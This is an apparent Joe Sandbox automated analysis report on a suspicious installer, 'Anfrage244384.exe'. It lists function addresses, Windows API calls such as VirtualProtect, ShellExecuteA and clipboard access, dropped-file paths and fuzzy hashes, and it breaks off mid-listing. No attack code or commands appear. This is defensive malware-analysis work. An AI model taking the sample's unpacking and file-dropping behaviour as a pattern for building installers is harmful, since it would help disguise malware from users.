                                                          Function 1000270B Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • VirtualProtect.KERNELBASE(1000404C,00000004,00000040,1000403C), ref: 10002729
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1928216941.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000000.00000002.1928204530.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.1928228736.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          • Associated: 00000000.00000002.1928240548.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_10000000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: ProtectVirtual
                                                          • String ID:
                                                          • API String ID: 544645111-0
                                                          • Opcode ID: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
                                                          • Instruction ID: 4f82052a8ee677216feeb46ba648c84afb962adc58c95b92ee0d34447feb5494
                                                          • Opcode Fuzzy Hash: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
                                                          • Instruction Fuzzy Hash: B5F09BF19092A0DEF360DF688CC4B063FE4E3983D5B03892AE358F6269EB7441448B19
                                                          Function 0040159D Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SetFileAttributesA.KERNELBASE(00000000,?,000000F0), ref: 004015A8
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: AttributesFile
                                                          • String ID:
                                                          • API String ID: 3188754299-0
                                                          • Opcode ID: 2311168178740a320a7838dbc888e64bfba08100527ad66c07f3f89ca227bd51
                                                          • Instruction ID: e24d852e2ad3a8f86fdc323a2a6250be89694c15614e2f118570afc755bb50f4
                                                          • Opcode Fuzzy Hash: 2311168178740a320a7838dbc888e64bfba08100527ad66c07f3f89ca227bd51
                                                          • Instruction Fuzzy Hash: 4DD05B72704115D7CB10EBE5EF0869D77B09B50364F304137D251F31D0D6BACA559729
                                                          Function 0040315B Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402EC1,?), ref: 00403169
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: FilePointer
                                                          • String ID:
                                                          • API String ID: 973152223-0
                                                          • Opcode ID: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
                                                          • Instruction ID: 1f5c7ae16c2334422adcad36111bde95194575cbdac9b1f52e29a9f6e91cc98e
                                                          • Opcode Fuzzy Hash: 9851be0de28bb9513f6e500a0df6ea838ed72b99fd7baa621d8f85bec57c8f40
                                                          • Instruction Fuzzy Hash: 34B01271240300BFDA214F00DF09F057B21ABA0700F10C034B388380F086711035EB0D
                                                          Function 00403FDD Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SendMessageA.USER32(00000028,?,00000001,00403E0E), ref: 00403FEB
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: MessageSend
                                                          • String ID:
                                                          • API String ID: 3850602802-0
                                                          • Opcode ID: 2bf10b83fa6dd9bc40a18547b02fbce2a65827e50004d0a7ab2884d4d9fdcea2
                                                          • Instruction ID: 0adc9c0e194aa77c868d6ef978719a9753de7db756a7c543b14a3307e76eee0a
                                                          • Opcode Fuzzy Hash: 2bf10b83fa6dd9bc40a18547b02fbce2a65827e50004d0a7ab2884d4d9fdcea2
                                                          • Instruction Fuzzy Hash: B2B09235280A00AAEA215B00DE09F467A62A764701F408038B240250B1CAB200A6DB18

                                                          Non-executed Functions

                                                          Function 0040511A Relevance: 54.3, APIs: 36, Instructions: 282windowclipboardmemoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetDlgItem.USER32(?,00000403), ref: 00405179
                                                          • GetDlgItem.USER32(?,000003EE), ref: 00405188
                                                          • GetClientRect.USER32(?,?), ref: 004051C5
                                                          • GetSystemMetrics.USER32(00000002), ref: 004051CC
                                                          • SendMessageA.USER32(?,0000101B,00000000,?), ref: 004051ED
                                                          • SendMessageA.USER32(?,00001036,00004000,00004000), ref: 004051FE
                                                          • SendMessageA.USER32(?,00001001,00000000,?), ref: 00405211
                                                          • SendMessageA.USER32(?,00001026,00000000,?), ref: 0040521F
                                                          • SendMessageA.USER32(?,00001024,00000000,?), ref: 00405232
                                                          • ShowWindow.USER32(00000000,?,0000001B,?), ref: 00405254
                                                          • ShowWindow.USER32(?,00000008), ref: 00405268
                                                          • GetDlgItem.USER32(?,000003EC), ref: 00405289
                                                          • SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 00405299
                                                          • SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004052B2
                                                          • SendMessageA.USER32(00000000,00002001,00000000,?), ref: 004052BE
                                                          • GetDlgItem.USER32(?,000003F8), ref: 00405197
                                                            • Part of subcall function 00403FDD: SendMessageA.USER32(00000028,?,00000001,00403E0E), ref: 00403FEB
                                                          • GetDlgItem.USER32(?,000003EC), ref: 004052DA
                                                          • CreateThread.KERNEL32(00000000,00000000,Function_000050AE,00000000), ref: 004052E8
                                                          • CloseHandle.KERNEL32(00000000), ref: 004052EF
                                                          • ShowWindow.USER32(00000000), ref: 00405312
                                                          • ShowWindow.USER32(?,00000008), ref: 00405319
                                                          • ShowWindow.USER32(00000008), ref: 0040535F
                                                          • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405393
                                                          • CreatePopupMenu.USER32 ref: 004053A4
                                                          • AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 004053B9
                                                          • GetWindowRect.USER32(?,000000FF), ref: 004053D9
                                                          • TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053F2
                                                          • SendMessageA.USER32(?,0000102D,00000000,?), ref: 0040542E
                                                          • OpenClipboard.USER32(00000000), ref: 0040543E
                                                          • EmptyClipboard.USER32 ref: 00405444
                                                          • GlobalAlloc.KERNEL32(00000042,?), ref: 0040544D
                                                          • GlobalLock.KERNEL32(00000000), ref: 00405457
                                                          • SendMessageA.USER32(?,0000102D,00000000,?), ref: 0040546B
                                                          • GlobalUnlock.KERNEL32(00000000), ref: 00405484
                                                          • SetClipboardData.USER32(00000001,00000000), ref: 0040548F
                                                          • CloseClipboard.USER32 ref: 00405495
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
                                                          • String ID:
                                                          • API String ID: 590372296-0
                                                          • Opcode ID: 312e192eeff1604f0d32da701c70530a671f57ed31088441950e93b34a7e48bf
                                                          • Instruction ID: 5613d7aab8632e27e9dc55abe2e0ca372eedffe8b3e0cf91bb1740b35a121942
                                                          • Opcode Fuzzy Hash: 312e192eeff1604f0d32da701c70530a671f57ed31088441950e93b34a7e48bf
                                                          • Instruction Fuzzy Hash: 8AA14770900608BFDB11AFA1DE89EAE7F79EB08344F40403AFA01B61A0C7755E51DF68
                                                          Function 004043E6 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 274stringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetDlgItem.USER32(?,000003FB), ref: 00404435
                                                          • SetWindowTextA.USER32(00000000,?), ref: 0040445F
                                                          • SHBrowseForFolderA.SHELL32(?,00429C40,?), ref: 00404510
                                                          • CoTaskMemFree.OLE32(00000000), ref: 0040451B
                                                          • lstrcmpiA.KERNEL32(Call,0042A868), ref: 0040454D
                                                          • lstrcatA.KERNEL32(?,Call), ref: 00404559
                                                          • SetDlgItemTextA.USER32(?,000003FB,?), ref: 0040456B
                                                            • Part of subcall function 0040559D: GetDlgItemTextA.USER32(?,?,00000400,004045A2), ref: 004055B0
                                                            • Part of subcall function 0040602E: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Anfrage244384.exe",74DF3410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00406086
                                                            • Part of subcall function 0040602E: CharNextA.USER32(?,?,?,00000000), ref: 00406093
                                                            • Part of subcall function 0040602E: CharNextA.USER32(?,"C:\Users\user\Desktop\Anfrage244384.exe",74DF3410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 00406098
                                                            • Part of subcall function 0040602E: CharPrevA.USER32(?,?,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000,0040317E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403393), ref: 004060A8
                                                          • GetDiskFreeSpaceA.KERNEL32(00429838,?,?,0000040F,?,00429838,00429838,?,00000001,00429838,?,?,000003FB,?), ref: 00404629
                                                          • MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404644
                                                            • Part of subcall function 0040479D: lstrlenA.KERNEL32(0042A868,0042A868,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004046B8,000000DF,00000000,00000400,?), ref: 0040483B
                                                            • Part of subcall function 0040479D: wsprintfA.USER32 ref: 00404843
                                                            • Part of subcall function 0040479D: SetDlgItemTextA.USER32(?,0042A868), ref: 00404856
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
                                                          • String ID: A$C:\Users\user\AppData\Roaming\secretaryships$Call
                                                          • API String ID: 2624150263-1637145769
                                                          • Opcode ID: 69f74c01cbdcf11024f72d1cffdf5a9e01e05ddb1b066f3c04d727bfc8a1ec56
                                                          • Instruction ID: 84c50741fe25a173814362b43a11873bd68750411b15b34785129881091ebc45
                                                          • Opcode Fuzzy Hash: 69f74c01cbdcf11024f72d1cffdf5a9e01e05ddb1b066f3c04d727bfc8a1ec56
                                                          • Instruction Fuzzy Hash: 14A1A5B1900209ABDB11AFA6DD45AAF7BB8EF85314F10843BF601B62D1D77C89418F69
                                                          Function 004020CD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139comCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CoCreateInstance.OLE32(00408514,?,00000001,00408504,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040214C
                                                          • MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,00408504,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 004021F8
                                                          Strings
                                                          • C:\Users\user\AppData\Roaming\secretaryships\Khami, xrefs: 0040218C
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: ByteCharCreateInstanceMultiWide
                                                          • String ID: C:\Users\user\AppData\Roaming\secretaryships\Khami
                                                          • API String ID: 123533781-4189074693
                                                          • Opcode ID: f209c091181f227ba522424908b8d9506dcc11acb2a5460ac331969599ead195
                                                          • Instruction ID: a586864d88b4a31a2ea0730a18160f458de020bca495768a6a410d99a7d95100
                                                          • Opcode Fuzzy Hash: f209c091181f227ba522424908b8d9506dcc11acb2a5460ac331969599ead195
                                                          • Instruction Fuzzy Hash: B4510975A00208BFCB10DFE4CA88A9DBBB6AF48314B2445AAF515FB2D0DA799941CB54
                                                          Function 0040655F Relevance: .3, Instructions: 334COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: f6ffbaa9ab06301a7bcd3d44d98f200676c8088fe61cb4b9d184fb53f21b8863
                                                          • Instruction ID: 8293cd2a5013187d15d39c8039833727f4f8195ddf88bee04d9fcabafb2459e2
                                                          • Opcode Fuzzy Hash: f6ffbaa9ab06301a7bcd3d44d98f200676c8088fe61cb4b9d184fb53f21b8863
                                                          • Instruction Fuzzy Hash: 0EE17B71900709DFDB24CF58C980BAABBF1EB44305F15893EE497A72D1E778AA91CB04
                                                          Function 00406D36 Relevance: .3, Instructions: 300COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 2f5d6bccd3c6e1d066a3a8cc38ddd8851f0bfc94fc623702177b12c8f33284cd
                                                          • Instruction ID: 9f21e3e235d98a7e1251c5e66270d761edb2065f660f80fa18d1a92bf6754199
                                                          • Opcode Fuzzy Hash: 2f5d6bccd3c6e1d066a3a8cc38ddd8851f0bfc94fc623702177b12c8f33284cd
                                                          • Instruction Fuzzy Hash: 2DC13971E0021A8BCF14CF68D5905EEBBB2BF98314F26826AD85677384D734A952CF94
                                                          Function 004040F1 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 205windowstringCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 0040417C
                                                          • GetDlgItem.USER32(00000000,000003E8), ref: 00404190
                                                          • SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 004041AE
                                                          • GetSysColor.USER32(?), ref: 004041BF
                                                          • SendMessageA.USER32(00000000,00000443,00000000,?), ref: 004041CE
                                                          • SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 004041DD
                                                          • lstrlenA.KERNEL32(?), ref: 004041E0
                                                          • SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 004041EF
                                                          • SendMessageA.USER32(00000000,00000449,?,00000110), ref: 00404204
                                                          • GetDlgItem.USER32(?,0000040A), ref: 00404266
                                                          • SendMessageA.USER32(00000000), ref: 00404269
                                                          • GetDlgItem.USER32(?,000003E8), ref: 00404294
                                                          • SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 004042D4
                                                          • LoadCursorA.USER32(00000000,00007F02), ref: 004042E3
                                                          • SetCursor.USER32(00000000), ref: 004042EC
                                                          • ShellExecuteA.SHELL32(0000070B,open,0042E3A0,00000000,00000000,00000001), ref: 004042FF
                                                          • LoadCursorA.USER32(00000000,00007F00), ref: 0040430C
                                                          • SetCursor.USER32(00000000), ref: 0040430F
                                                          • SendMessageA.USER32(00000111,00000001,00000000), ref: 0040433B
                                                          • SendMessageA.USER32(00000010,00000000,00000000), ref: 0040434F
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
                                                          • String ID: Call$N$open
                                                          • API String ID: 3615053054-2563687911
                                                          • Opcode ID: 0fabdefe5dfe810703eedaaf7f5204b78cec4d5337582d6cb8c9095239a0e9c5
                                                          • Instruction ID: 596f938780ddc00ccda35ae91e452bcb2762d229451626cd39d0fa48fc5db7d6
                                                          • Opcode Fuzzy Hash: 0fabdefe5dfe810703eedaaf7f5204b78cec4d5337582d6cb8c9095239a0e9c5
                                                          • Instruction Fuzzy Hash: FC61B3B1A40209BFEB109F60DD45F6A7B69FB84701F10803AFB04BA2D1C7B8A951CB58
                                                          Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
                                                          • BeginPaint.USER32(?,?), ref: 00401047
                                                          • GetClientRect.USER32(?,?), ref: 0040105B
                                                          • CreateBrushIndirect.GDI32(00000000), ref: 004010CF
                                                          • FillRect.USER32(00000000,?,00000000), ref: 004010E4
                                                          • DeleteObject.GDI32(?), ref: 004010ED
                                                          • CreateFontIndirectA.GDI32(?), ref: 00401105
                                                          • SetBkMode.GDI32(00000000,00000001), ref: 00401126
                                                          • SetTextColor.GDI32(00000000,000000FF), ref: 00401130
                                                          • SelectObject.GDI32(00000000,?), ref: 00401140
                                                          • DrawTextA.USER32(00000000,Berny Setup,000000FF,00000010,00000820), ref: 00401156
                                                          • SelectObject.GDI32(00000000,00000000), ref: 00401160
                                                          • DeleteObject.GDI32(?), ref: 00401165
                                                          • EndPaint.USER32(?,?), ref: 0040116E
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922720487.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_400000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
                                                          • String ID: Berny Setup$F
                                                          • API String ID: 941294808-2387847010
                                                          • Opcode ID: b3683ee5f9b0c2be8bfd93dc29e84564bacc2454be597716fe8f92258ad350e3
                                                          • Instruction ID: eed311f0ba3f5168439b37af4fa11fc7bb37c730dc1785cefb354bf9b42296a2
                                                          • Opcode Fuzzy Hash: b3683ee5f9b0c2be8bfd93dc29e84564bacc2454be597716fe8f92258ad350e3
                                                          • Instruction Fuzzy Hash: FF418C71800209AFCF059F95DE459AFBBB9FF44314F00842EF9A1AA1A0C774E955DFA4
                                                          Function 00405B0C Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • lstrcpyA.KERNEL32(0042C5F8,NUL,?,00000000,?,00000000,00405C9F,?,?), ref: 00405B1B
                                                          • CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,00405C9F,?,?), ref: 00405B3F
                                                          • GetShortPathNameA.KERNEL32(?,0042C5F8,00000400), ref: 00405B48
                                                            • Part of subcall function 0040599B: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405BF8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004059AB
                                                            • Part of subcall function 0040599B: lstrlenA.KERNEL32(00000000,?,00000000,00405BF8,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004059DD
                                                          • GetShortPathNameA.KERNEL32(0042C9F8,0042C9F8,00000400), ref: 00405B65
                                                          • wsprintfA.USER32 ref: 00405B83
                                                          • GetFileSize.KERNEL32(00000000,00000000,0042C9F8,C0000000,00000004,0042C9F8,?,?,?,?,?), ref: 00405BBE
                                                          • GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405BCD
                                                          • lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405C05
                                                          • SetFilePointer.KERNEL32(0040A3B0,00000000,00000000,00000000,00000000,0042C1F8,00000000,-0000000A,0040A3B0,00000000,[Rename],00000000,00000000,00000000), ref: 00405C5B
                                                          • GlobalFree.KERNEL32(00000000), ref: 00405C6C
                                                          • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405C73
                                                            • Part of subcall function 00405A36: GetFileAttributesA.KERNELBASE(00000003,00402D3A,C:\Users\user\Desktop\Anfrage244384.exe,80000000,00000003), ref: 00405A3A
                                                            • Part of subcall function 00405A36: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405A5C
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1922572983.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000000.00000002.1922553773.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922591593.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1922607932.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
